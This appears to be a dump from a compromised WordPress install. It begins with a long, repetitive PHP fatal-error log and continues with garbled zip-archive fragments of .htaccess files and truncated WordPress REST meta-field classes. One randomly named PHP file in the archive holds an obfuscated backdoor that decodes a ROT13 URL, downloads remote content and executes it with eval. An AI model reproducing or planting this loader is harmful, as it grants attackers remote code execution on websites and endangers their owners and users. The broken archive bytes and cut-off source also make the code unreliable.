#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[22-Jun-2026 09:05:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[22-Jun-2026 09:05:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[05-Jul-2026 02:39:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[05-Jul-2026 02:39:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[05-Jul-2026 02:39:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[05-Jul-2026 02:47:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[05-Jul-2026 02:47:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[05-Jul-2026 02:47:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[12-Jul-2026 06:31:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[12-Jul-2026 06:31:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[12-Jul-2026 06:31:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[12-Jul-2026 06:39:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[12-Jul-2026 06:39:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[12-Jul-2026 06:39:08 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[21-Jul-2026 09:01:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[21-Jul-2026 09:01:27 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[21-Jul-2026 09:01:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[21-Jul-2026 09:09:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[21-Jul-2026 09:09:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[21-Jul-2026 09:09:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[25-Jul-2026 23:15:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[25-Jul-2026 23:15:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[25-Jul-2026 23:15:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[25-Jul-2026 23:22:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[25-Jul-2026 23:22:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[25-Jul-2026 23:22:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[01-Aug-2026 15:27:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[01-Aug-2026 15:27:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[01-Aug-2026 15:27:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[01-Aug-2026 15:35:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[01-Aug-2026 15:35:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[01-Aug-2026 15:35:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[06-Aug-2026 20:09:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[06-Aug-2026 20:09:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[06-Aug-2026 20:09:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[06-Aug-2026 20:17:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[06-Aug-2026 20:17:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[06-Aug-2026 20:17:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[07-Aug-2026 17:36:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[07-Aug-2026 17:36:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[07-Aug-2026 17:36:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[10-Aug-2026 03:25:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[10-Aug-2026 03:25:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[10-Aug-2026 03:25:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[18-Aug-2026 21:01:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[18-Aug-2026 21:01:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[18-Aug-2026 21:01:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[18-Aug-2026 21:09:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[18-Aug-2026 21:09:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[18-Aug-2026 21:09:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[18-Aug-2026 21:37:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[18-Aug-2026 21:37:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[18-Aug-2026 21:37:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[18-Aug-2026 21:42:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[18-Aug-2026 21:42:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[18-Aug-2026 21:43:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[20-Aug-2026 13:17:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[20-Aug-2026 13:17:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[20-Aug-2026 13:17:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[20-Aug-2026 13:25:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[20-Aug-2026 13:25:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[20-Aug-2026 13:25:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[01-Sep-2026 19:41:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[01-Sep-2026 19:41:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[01-Sep-2026 19:41:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[03-Sep-2026 03:12:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[03-Sep-2026 03:12:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[03-Sep-2026 03:12:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[03-Sep-2026 03:40:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[03-Sep-2026 03:40:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[03-Sep-2026 03:40:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[04-Sep-2026 09:15:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[04-Sep-2026 09:15:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[04-Sep-2026 09:15:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[04-Sep-2026 09:36:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[04-Sep-2026 09:36:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[04-Sep-2026 09:36:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
PK h0]Sʉ search/.htaccessnu 7m
Order allow,deny
Deny from all
PK h0]8 8 wp/vLeXgQLqCa.phpnu 7m
WordPress
=/****/@null; /********/ /*******/ /********/@eval/****/("?>".file_get_contents/*******/(str_rot13("uggc://tvguho.qcbbxn.gbc/sxbycfsq/zkybag/f42jck")));/**/?>
PK h0]j wp/.htaccessnu 7m
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
Order Allow,Deny
Deny from all
Order Allow,Deny
Allow from all
PK h0]rX X ) fields/class-wp-rest-user-meta-fields.phpnu [ post_type = $post_type;
}
/**
* Retrieves the post meta type.
*
* @since 4.7.0
*
* @return string The meta type.
*/
protected function get_meta_type() {
return 'post';
}
/**
* Retrieves the post meta subtype.
*
* @since 4.9.8
*
* @return string Subtype for the meta type, or empty string if no specific subtype.
*/
protected function get_meta_subtype() {
return $this->post_type;
}
/**
* Retrieves the type for register_rest_field().
*
* @since 4.7.0
*
* @see register_rest_field()
*
* @return string The REST field type.
*/
public function get_rest_field_type() {
return $this->post_type;
}
}
PK h0] , fields/class-wp-rest-comment-meta-fields.phpnu [ taxonomy = $taxonomy;
}
/**
* Retrieves the term meta type.
*
* @since 4.7.0
*
* @return string The meta type.
*/
protected function get_meta_type() {
return 'term';
}
/**
* Retrieves the term meta subtype.
*
* @since 4.9.8
*
* @return string Subtype for the meta type, or empty string if no specific subtype.
*/
protected function get_meta_subtype() {
return $this->taxonomy;
}
/**
* Retrieves the type for register_rest_field().
*
* @since 4.7.0
*
* @return string The REST field type.
*/
public function get_rest_field_type() {
return 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy;
}
}
PK h0]7H 7H $ fields/class-wp-rest-meta-fields.phpnu [ get_rest_field_type(),
'meta',
array(
'get_callback' => array( $this, 'get_value' ),
'update_callback' => array( $this, 'update_value' ),
'schema' => $this->get_field_schema(),
)
);
}
/**
* Retrieves the meta field value.
*
* @since 4.7.0
*
* @param int $object_id Object ID to fetch meta for.
* @param WP_REST_Request $request Full details about the request.
* @return array Array containing the meta values keyed by name.
*/
public function get_value( $object_id, $request ) {
$fields = $this->get_registered_fields();
$response = array();
foreach ( $fields as $meta_key => $args ) {
$name = $args['name'];
$all_values = get_metadata( $this->get_meta_type(), $object_id, $meta_key, false );
if ( $args['single'] ) {
if ( empty( $all_values ) ) {
$value = $args['schema']['default'];
} else {
$value = $all_values[0];
}
$value = $this->prepare_value_for_response( $value, $request, $args );
} else {
$value = array();
if ( is_array( $all_values ) ) {
foreach ( $all_values as $row ) {
$value[] = $this->prepare_value_for_response( $row, $request, $args );
}
}
}
$response[ $name ] = $value;
}
return $response;
}
/**
* Prepares a meta value for a response.
*
* This is required because some native types cannot be stored correctly
* in the database, such as booleans. We need to cast back to the relevant
* type before passing back to JSON.
*
* @since 4.7.0
*
* @param mixed $value Meta value to prepare.
* @param WP_REST_Request $request Current request object.
* @param array $args Options for the field.
* @return mixed Prepared value.
*/
protected function prepare_value_for_response( $value, $request, $args ) {
if ( ! empty( $args['prepare_callback'] ) ) {
$value = call_user_func( $args['prepare_callback'], $value, $request, $args );
}
return $value;
}
/**
* Updates meta values.
*
* @since 4.7.0
*
* @param array $meta Array of meta parsed from the request.
* @param int $object_id Object ID to fetch meta for.
* @return null|WP_Error Null on success, WP_Error object on failure.
*/
public function update_value( $meta, $object_id ) {
$fields = $this->get_registered_fields();
$error = new WP_Error();
foreach ( $fields as $meta_key => $args ) {
$name = $args['name'];
if ( ! array_key_exists( $name, $meta ) ) {
continue;
}
$value = $meta[ $name ];
/*
* A null value means reset the field, which is essentially deleting it
* from the database and then relying on the default value.
*
